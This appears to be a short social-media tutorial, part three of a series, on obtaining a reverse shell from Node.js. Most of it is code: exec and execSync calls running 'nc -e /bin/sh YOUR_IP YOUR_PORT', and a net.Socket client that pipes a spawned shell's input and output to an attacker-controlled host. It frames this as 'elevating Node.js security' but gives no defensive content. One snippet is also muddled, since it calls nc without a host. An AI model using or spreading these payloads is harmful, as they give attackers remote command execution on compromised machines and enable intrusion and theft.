PART 3 ⤵️
🍏 Reverse Shell Mastery
In our thrilling finale, we explored elevating Node.js security by obtaining a reverse shell using child_process & Ncat modules. Let's recap and dive into reverse shell mastery! 🛡️🚀
🔰 1. ChildProcess Module:
A crucial player in Node.js multitasking, enabling the execution of external commands.
Perfect for our reverse shell strategy! 💻
Code:
const { exec } = require('child_process');
exec('nc -e /bin/sh YOUR_IP YOUR_PORT');
🔰 2. Ncat Module - Networking Prowess:
Utilize Ncat to establish a secure connection between the attacker and the target system.
A quick reverse shell can be obtained with various commands within the exec method itself.
Code:
const net = require('net');
const client = new net.Socket();
client.connect(YOUR_PORT, YOUR_IP, () => {
// Connection established; you're in control now!
});
🔰 Reverse Shell Payload with exec():
Achieve a secure reverse shell and handle errors and command output effectively.
Code:
const { exec } = require('child_process');
const net = require('net');
const client = new net.Socket();
client.connect(YOUR_PORT, YOUR_IP, () => {
// Connection established; you're in control now!
const shell = exec('nc -e /bin/sh', (error, stdout, stderr) => {
if (error) {
// Handle errors
}
// Process command output (stdout)
});
// Forward the shell's output to the network socket
shell.stdout.pipe(client);
shell.stderr.pipe(client);
client.pipe(shell.stdin);
});
🔰 3. Using execSync() for Command Execution:
Synchronously execute commands, capturing output - ideal for our reverse shell payload.
Code:
const { execSync } = require('child_process');
// Replace 'YOUR_IP' and 'YOUR_PORT' with your values
const reverseShellCommand = `nc -e /bin/sh YOUR_IP YOUR_PORT`;
// Execute the command synchronously
const result = execSync(reverseShellCommand);
// Process the result as needed
console.log(result.toString('utf8'));
